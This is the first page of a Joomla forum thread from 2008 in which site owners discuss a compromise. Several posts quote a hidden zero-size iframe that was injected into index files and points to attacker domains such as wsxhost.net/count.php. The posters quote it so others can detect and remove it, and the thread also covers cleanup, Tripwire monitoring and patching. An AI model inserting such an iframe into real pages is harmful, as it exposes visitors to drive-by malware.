Joomla! Discussion Forums



It is currently Sun Nov 22, 2009 2:59 am (All times are UTC )

 


Forum rules

Forum Rules
Absolute Beginner's Guide to Joomla! <-- please read before posting, this means YOU.
Security Checklist
Forum Post Assistant - If you are serious about wanting help, you will use this tool to help you post.



Post new topic Reply to topic  [ 44 posts ]  Go to page 1, 2  Next
Author Message
Posted: Mon Sep 29, 2008 12:13 pm 
Joomla! Apprentice
Joomla! Apprentice
Offline

Joined: Mon Sep 29, 2008 11:57 am
Posts: 5
Don't sure if this been adressed yet. But just in case....
A lot of popular scripts developed for PHP 4 are currently being hacked through a tmp directory exploit. It also happens to Joomla (both 1.x and 1.5x). It manifest's itself in an appended line in index.php (pls check also administrator/index.php), which through an iframe makes an ulr query (GET) to a count. php file. External website varies (depends on infected slaves/hosts) bit can be picnoc.org, picnoc.info or wsxhost.net. The code line (appended last in above mentioned files) resembles "<iframe src="http://pinoc.org/count.php?o=2" </iframe>

To get rid of the url query, just delete the actual line in index.php (administrator/index.php).
More info in this link:
http://blog.floogy.com/2008/08/fix-pino ... cinfo.html

Any ideas how to block this out pre-emptive?


Top
  E-mail  
 
Posted: Tue Sep 30, 2008 12:18 am 
Joomla! Apprentice
Joomla! Apprentice
Offline

Joined: Mon Sep 29, 2008 10:55 pm
Posts: 9
I've been seeing the effects of a similar attack. Part of the attack is now adding an @readfile() function call to include a file from "[modnote: cracker sites removed!]

What makes you think that this is related to the tmp directory?

I advise setting up Tripwire as a fallback to notify you if files have changed.


Top
  E-mail  
 
Posted: Tue Sep 30, 2008 3:20 am 
Joomla! Apprentice
Joomla! Apprentice
Offline

Joined: Tue May 27, 2008 3:20 am
Posts: 25
Location: Australia
We found a similar exploit here

http://safebrowsing.clients.google.com/ ... /index.php

Obviously that is the google diagnostic page of the site.

Peter
PB Web Development

_________________
---
42 Joomla Websites and growing
http://www.pbwebdev.com.au


Top
  E-mail  
 
Posted: Tue Sep 30, 2008 7:53 am 
Joomla! Apprentice
Joomla! Apprentice
Offline

Joined: Mon Sep 29, 2008 11:57 am
Posts: 5
chroma99 wrote:
qotoe including site references removed.


"Tmp directory exploit" - nothing more than the proposed idea in the ref/linked blog entry and the fact that the write settings must have been circumvented. Anyway, if it's that easy to modify a file it's a fundamental threat. Thanks for the advise.


Top
  E-mail  
 
Posted: Tue Sep 30, 2008 10:00 am 
User avatar
Joomla! Master
Joomla! Master
Offline

Joined: Fri Aug 12, 2005 12:38 am
Posts: 11189
Location: Sydney - Australia
You should NOT be using php4.. it's EOL already..

So, therefore, to protect yourself, use the latest stable of Joomla as well as php. As of now that is php5.2.6, Joomla 1.0.15 and Joomla 1.5.7

_________________
Brad Baker - Follow me on Twitter @xyzulu @rochenhost
http://www.rochen.com - Joomla! Hosting, the correct way.
http://www.joomlatutorials.com <-- Joomla Help
..somewhere in this hospital the anguished oink of a pig man cries out for help..


Top
  E-mail  
 
Posted: Fri Oct 03, 2008 4:50 pm 
Joomla! Apprentice
Joomla! Apprentice
Offline

Joined: Mon Jun 18, 2007 11:22 pm
Posts: 9
also note that is happneing with this address
Code:
<iframe src="http://wsxhost.net/count.php?o=2" width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no></iframe>


Top
  E-mail  
 
Posted: Mon Oct 06, 2008 1:56 pm 
User avatar
Joomla! Apprentice
Joomla! Apprentice
Offline

Joined: Wed Mar 29, 2006 3:22 pm
Posts: 22
Location: Italy
islatur wrote:
also note that is happneing with this address
Code:
<iframe src="http://wsxhost.net/count.php?o=2" width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no></iframe>


Hello everybody.
My site http://www.ccancients.net has been infectd with trojan infection described in this post.
Following instructions I've deleted relative line in INDEX.PHP (directory "administrator").
Recenty I've also updated to Joomla 1.5.7
By now in frontend I continue to see browser trying to connect to "wsxhost.net".
I really have no idea on how to solve this... can somebody help me?

Thank you in advance
Alessandro

_________________
Alessandro
http://www.ccancients.net


Top
   
 
Posted: Mon Oct 06, 2008 2:09 pm 
Joomla! Apprentice
Joomla! Apprentice
Offline

Joined: Mon Sep 29, 2008 11:57 am
Posts: 5
The line is infected in all index*.*-files (index.php and index.html). If possible download your site and do a search and replace on the string "http://wsxhost.net/count.php?o=2" replace it with nothing (empty space). Then upload the files. That should do it. If you have a SSH accesss (or Telnet) you can do this directly on the server (a faster track), pls consult your web provider for further instructions on this.


Top
  E-mail  
 
Posted: Thu Oct 09, 2008 8:13 pm 
User avatar
Joomla! Intern
Joomla! Intern
Offline

Joined: Fri Jul 06, 2007 6:15 am
Posts: 72
Location: Havana City, Cuba
Finally, does it infect 1.5.7 with php5+ ????????

_________________
Free speech for the dumb!


Top
  E-mail  
 
Posted: Tue Oct 14, 2008 11:05 am 
User avatar
Joomla! Ace
Joomla! Ace
Offline

Joined: Tue Sep 06, 2005 11:18 am
Posts: 1119
Location: Germany
it can not infect php or joomla.

your problem is : weak directory and file permissions.

if you guys would check the documentation part of this website , youll would find everything your need to secure your site...


start here :

http://docs.joomla.org/Security_and_Performance_FAQs

_________________
MCITP - Microsoft Certified IT Professional
CCNA - Cisco Certfied Network Administrator
LPI - Linux Professional
PN for Online Transcript ID Check
http://www.mindset.de


Top
  E-mail  
 
Posted: Tue Oct 14, 2008 1:09 pm 
Joomla! Intern
Joomla! Intern
Offline

Joined: Wed Oct 01, 2008 5:38 pm
Posts: 55
chroma99 wrote:
I've been seeing the effects of a similar attack. Part of the attack is now adding an @readfile() function call to include a file from "wsx3host.net", spam for amateur.zxchost.com and vessex.ru.

What makes you think that this is related to the tmp directory?

I advise setting up Tripwire as a fallback to notify you if files have changed.


And how much is Tripwire exactly??

_________________
AnarchyX67

John 3:16... <Yea yea, just go read it. Have you? No? Then go read it!!!> :-)


Top
  E-mail  
 
Posted: Tue Oct 14, 2008 2:14 pm 
Joomla! Apprentice
Joomla! Apprentice
Offline

Joined: Mon Sep 29, 2008 10:55 pm
Posts: 9
Do you have evidence for that, fw116?

fw116 wrote:
your problem is : weak directory and file permissions.


Top
  E-mail  
 
Posted: Tue Oct 14, 2008 2:16 pm 
Joomla! Apprentice
Joomla! Apprentice
Offline

Joined: Mon Sep 29, 2008 10:55 pm
Posts: 9
Available for the low cost of $0.

See here:
http://sourceforge.net/projects/tripwire

Anarchyx67 wrote:
And how much is Tripwire exactly??


Top
  E-mail  
 
Posted: Tue Oct 14, 2008 2:17 pm 
Joomla! Apprentice
Joomla! Apprentice
Offline

Joined: Mon Sep 29, 2008 10:55 pm
Posts: 9
My current best guess is that this problem is due to a bug fixed in 1.0.15:

--------------- 1.0.15 Stable Released -- [22-February-2008 23:00 UTC] ---------------------

06-Feb-2008 Andrew Eddie
* SECURITY [HIGH level]: Fixed remote file inclusion vulnerability


Top
  E-mail  
 
Posted: Tue Oct 14, 2008 3:01 pm 
Joomla! Intern
Joomla! Intern
Offline

Joined: Wed Oct 01, 2008 5:38 pm
Posts: 55
chroma99 wrote:
Available for the low cost of $0.

See here:
http://sourceforge.net/projects/tripwire

Anarchyx67 wrote:
And how much is Tripwire exactly??


Thanks. And is there any way to use Tripwire with shared hosting at all? I don't see much on the subject and it looks like that link you gave mainly supplies just source code.

_________________
AnarchyX67

John 3:16... <Yea yea, just go read it. Have you? No? Then go read it!!!> :-)


Top
  E-mail  
 
Posted: Tue Oct 14, 2008 3:14 pm 
Joomla! Apprentice
Joomla! Apprentice
Offline

Joined: Tue Mar 11, 2008 2:51 am
Posts: 7
Location: Ribeirão Preto, SP, Brazil
astroboysoup wrote:


Im from Brazil...

Google Chrome found almost same exploit in my project, http://dfm.ffclrp.br/ldc

How i get this diagnostic again?!?!

Weeks ago the University's server has been hacked... Many deleted archives...

I Use Joomla 1.5.6 (will migrate 1.5.7), the univerrsity uses php 5.2.4...

The extension Joomla Comment 3.2.4 notice, after 'request failure':

<iframe src="http://wsxhost.net/count.php?o=2" width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no></iframe><iframe src="http://msn-analytics.net/count.php?o=2" width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no></iframe><?xml version="1.0" standalone="yes"?><post><id>captchaalert</id><captcha><![CDATA[<a title="clique para uma nova imagem" href='javascript:JOSC_reloadCaptcha()'><img src="http://dfm.ffclrp.usp.br/ldc/components/com_comment/joscomment/captcha.php?refid=a559f340b4c0fe0034fb0f617ce6b4e5" alt="Security Image" />
<input type="hidden" name="security_refid" value="a559f340b4c0fe0034fb0f617ce6b4e5" /></a>]]></captcha><noerror>1</noerror></post>

I install Joomla Tools Suite... Not abnormal in notices [Edit: got warnings in tmp directory]. But he dont work correctly on 1.5.6...

Thx...

[]'s!

_________________
mOx http://mox52.zip.net/
project http://dfm.ffclrp.usp.br/ldc/


Last edited by Mox52 on Wed Oct 15, 2008 12:07 am, edited 1 time in total.

Top
  E-mail  
 
Posted: Tue Oct 14, 2008 4:09 pm 
Joomla! Apprentice
Joomla! Apprentice
Offline

Joined: Mon Sep 29, 2008 10:55 pm
Posts: 9
I can think of several ways it might work: if you can remotely mount the shared hosting filesystem, if the host provides you with shell access, etc.

I believe there are other software packages out there that do approximately the same thing as Tripwire; something else may work better in your situation.

Anarchyx67 wrote:
Thanks. And is there any way to use Tripwire with shared hosting at all? I don't see much on the subject and it looks like that link you gave mainly supplies just source code.


Top
  E-mail  
 
Posted: Wed Oct 15, 2008 12:09 am 
Joomla! Apprentice
Joomla! Apprentice
Offline

Joined: Tue Mar 11, 2008 2:51 am
Posts: 7
Location: Ribeirão Preto, SP, Brazil
Question: how fix it?

Thx!

_________________
mOx http://mox52.zip.net/
project http://dfm.ffclrp.usp.br/ldc/


Top
  E-mail  
 
Posted: Wed Oct 15, 2008 12:17 am 
User avatar
Joomla! Master
Joomla! Master
Offline

Joined: Fri Aug 12, 2005 12:38 am
Posts: 11189
Location: Sydney - Australia
Mox52 wrote:
Question: how fix it?

Thx!

Search these forums? Read some of the recent threads? Restore from a backup?

_________________
Brad Baker - Follow me on Twitter @xyzulu @rochenhost
http://www.rochen.com - Joomla! Hosting, the correct way.
http://www.joomlatutorials.com <-- Joomla Help
..somewhere in this hospital the anguished oink of a pig man cries out for help..


Top
  E-mail  
 
Posted: Wed Oct 15, 2008 7:40 am 
Joomla! Apprentice
Joomla! Apprentice
Offline

Joined: Mon Sep 29, 2008 11:57 am
Posts: 5
To fix the problem is quite easy, but to prevent it is another bag....

To fix it: do a search&replace on the string "count.php?o=2". Replace the whole Iframe tag with nothing, i.e delete the tag. The tag is appended after the end tag (</html> (mainly) in your index.php and index.html files.

There is a structural directory problem in almost all web applications since the application (which is the same as everybody or the "world") need rights to write to at least a configuration file (could possibly be remedied by storing all the credentials in a db table instead) and to temp, cache directories.


Top
  E-mail  
 
Posted: Wed Oct 15, 2008 11:37 am 
Joomla! Fledgling
Joomla! Fledgling
Offline

Joined: Tue Oct 14, 2008 4:52 pm
Posts: 2
Thanks, using this information, I have managed to clear all my problems! Thanks tonnes. :D :D :D

_________________
Signature Rules: viewtopic.php?f=8&t=65


Top
  E-mail  
 
Posted: Wed Oct 15, 2008 4:23 pm 
Joomla! Apprentice
Joomla! Apprentice
Offline

Joined: Tue Mar 11, 2008 2:51 am
Posts: 7
Location: Ribeirão Preto, SP, Brazil
Thx all!

Will read docs.joomla.org!!

Sry for signture!

_________________
mOx http://mox52.zip.net/
project http://dfm.ffclrp.usp.br/ldc/


Last edited by Mox52 on Wed Oct 15, 2008 4:32 pm, edited 1 time in total.

Top
  E-mail  
 
Posted: Wed Oct 15, 2008 4:32 pm 
Joomla! Apprentice
Joomla! Apprentice
Offline

Joined: Mon Feb 13, 2006 9:19 pm
Posts: 27
I found these files of mine to be infected.

root/index.php
root/templates/ALL index files both .php and .html in ALL templates
root/administrator/index.php
root/templates//administrator/ALL index files both .php and .html in all templates

[Mod Note - removed reference to module alleged to be responsible - take this up directly with the developer and don't use these forums to name and shame]

But for the record I have the correct Joomla supported register globals and directory permission security settings on a reliable linux server.

We are using the latest and stable PHP 5 build.

We are only using 2 third part plugins but they are common and known to be secure. Plus I locked them down.

In conclusion we still got hacked. So the cause is not PHP 4, PHP settings or folder permissions outside the scope of what Joomla recommends.

With that said I decided to make the templates directories unwriteable. So we will lose the backend management flexibility, but oh well. Then I removed mod_analytics. I am looking forward to the day someone finds the culprit.


Top
  E-mail  
 
Posted: Wed Oct 15, 2008 5:51 pm 
Joomla! Apprentice
Joomla! Apprentice
Offline

Joined: Mon Sep 29, 2008 10:55 pm
Posts: 9
Which Joomla version were you running when your website was infected?

elstinko wrote:
I found these files of mine to be infected.

root/index.php
root/templates/ALL index files both .php and .html in ALL templates
root/administrator/index.php
root/templates//administrator/ALL index files both .php and .html in all templates

[Mod Note - removed reference to module alleged to be responsible - take this up directly with the developer and don't use these forums to name and shame]

But for the record I have the correct Joomla supported register globals and directory permission security settings on a reliable linux server.

We are using the latest and stable PHP 5 build.

We are only using 2 third part plugins but they are common and known to be secure. Plus I locked them down.

In conclusion we still got hacked. So the cause is not PHP 4, PHP settings or folder permissions outside the scope of what Joomla recommends.

With that said I decided to make the templates directories unwriteable. So we will lose the backend management flexibility, but oh well. Then I removed mod_analytics. I am looking forward to the day someone finds the culprit.


Top
  E-mail  
 
Posted: Wed Oct 15, 2008 6:36 pm 
Joomla! Fledgling
Joomla! Fledgling
Offline

Joined: Wed Oct 04, 2006 10:17 am
Posts: 1
I'am having problems to delete the line in alle the index files, some of them can not be edited online. How can I overwrite these files?


Top
  E-mail  
 
Posted: Thu Oct 16, 2008 1:39 am 
User avatar
Joomla! Ace
Joomla! Ace
Offline

Joined: Thu Nov 10, 2005 3:10 am
Posts: 1919
Location: New Jersey, USA
tmp directory exploit? BS! Even if a file is 777, there's no way to write to it from the outside on a properly configured server. All this hoopla about 777 is BS. If you share your server, yes, other users ON THE MACHINE ALREADY can edit those files. But someone from the outside CANNOT.

Show me a proof of concept that doesn't rely on another hole in an application (meaning a hole in Joomla, etc), and I'll believe that, but otherwise I really don't...

_________________
Anthony Ferrara - Core Team - Development Coordinator - Bug Squad - JSST

http://moovum.com/ - The Bird is in the air! Get Mollom Anti-Spam on your Joomla! website with Moovur...
http://www.joomlaperformance.com For All Your Joomla Performance Needs


Top
   
 
Posted: Thu Oct 16, 2008 2:10 am 
Joomla! Apprentice
Joomla! Apprentice
Offline

Joined: Mon Sep 29, 2008 10:55 pm
Posts: 9
I agree, which is why I believe the problem is due to the bug I mentioned earlier. After the upgrade to J! 1.0.15, the bad guys haven't been back.

ircmaxell wrote:
tmp directory exploit? BS!


Top
  E-mail  
 
Posted: Thu Oct 16, 2008 6:55 am 
Joomla! Apprentice
Joomla! Apprentice
Offline

Joined: Mon Sep 29, 2008 11:57 am
Posts: 5
huubrk wrote:
I'am having problems to delete the line in alle the index files, some of them can not be edited online. How can I overwrite these files?


You have to do it locallay and then upload the files to your server.

If you have access to SSH (shell access) you can do it remotely, but there are som tricky commands to master. Ask your Web host for advice.


Top
  E-mail  
 
Posted: Fri Oct 17, 2008 9:11 pm 
Joomla! Apprentice
Joomla! Apprentice
Offline

Joined: Mon Jun 18, 2007 11:22 pm
Posts: 9
I believe it was not joomla the source of the problem.
i got infected with the latest version 1.57, after reading up on the problem i ran accross a solution here
http://blog.floogy.com/2008/08/fix-pinocorg-and-pinocinfo.html
after reading this I noticed that I was still using the old php which i updated with two clicks.

I got shell access from bluehost, ran a modified version of the command stated on the link above and it was done. All infections were gone.

Something I noticed from this spyware is that infects every html file.... i had over 1000 files infected with the iframe. this will slow down your website and you might get blacklisted on google or stopbadware.org which is bad... very bad.


Top
  E-mail  
 
Posted: Wed Nov 12, 2008 12:08 pm 
Joomla! Fledgling
Joomla! Fledgling
Offline

Joined: Fri Aug 18, 2006 7:02 pm
Posts: 1
Not only was my Joomla installation in one directory impacted, my ENTIRE hosting account was affected. That includes tens of sites and hundreds of directories. I disagree with the moderator's choice to censor the name of the plugin/module/component that might be responsible. I'm not interested in a witch hunt. I'm concerned that even after I correct hundreds of files, I will still be vulnerable without any clue of where this attack started.

In my opinion, the moderator is acting irresponsibly if indeed the cause of the vulnerability is known.

Do you know which third-party plugin/module/component might be responsible? Any help is appreciated!

Sam


Top
  E-mail  
 
Display posts from previous:  Sort by  
Post new topic Reply to topic  [ 44 posts ]  Go to page 1, 2  Next

Quick reply

 



Who is online

Users browsing this forum: ana621, kannansreenivas, RealRandal and 17 guests


You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot post attachments in this forum

Jump to:  
Powered by phpBB © 2000, 2002, 2005, 2007 phpBB Group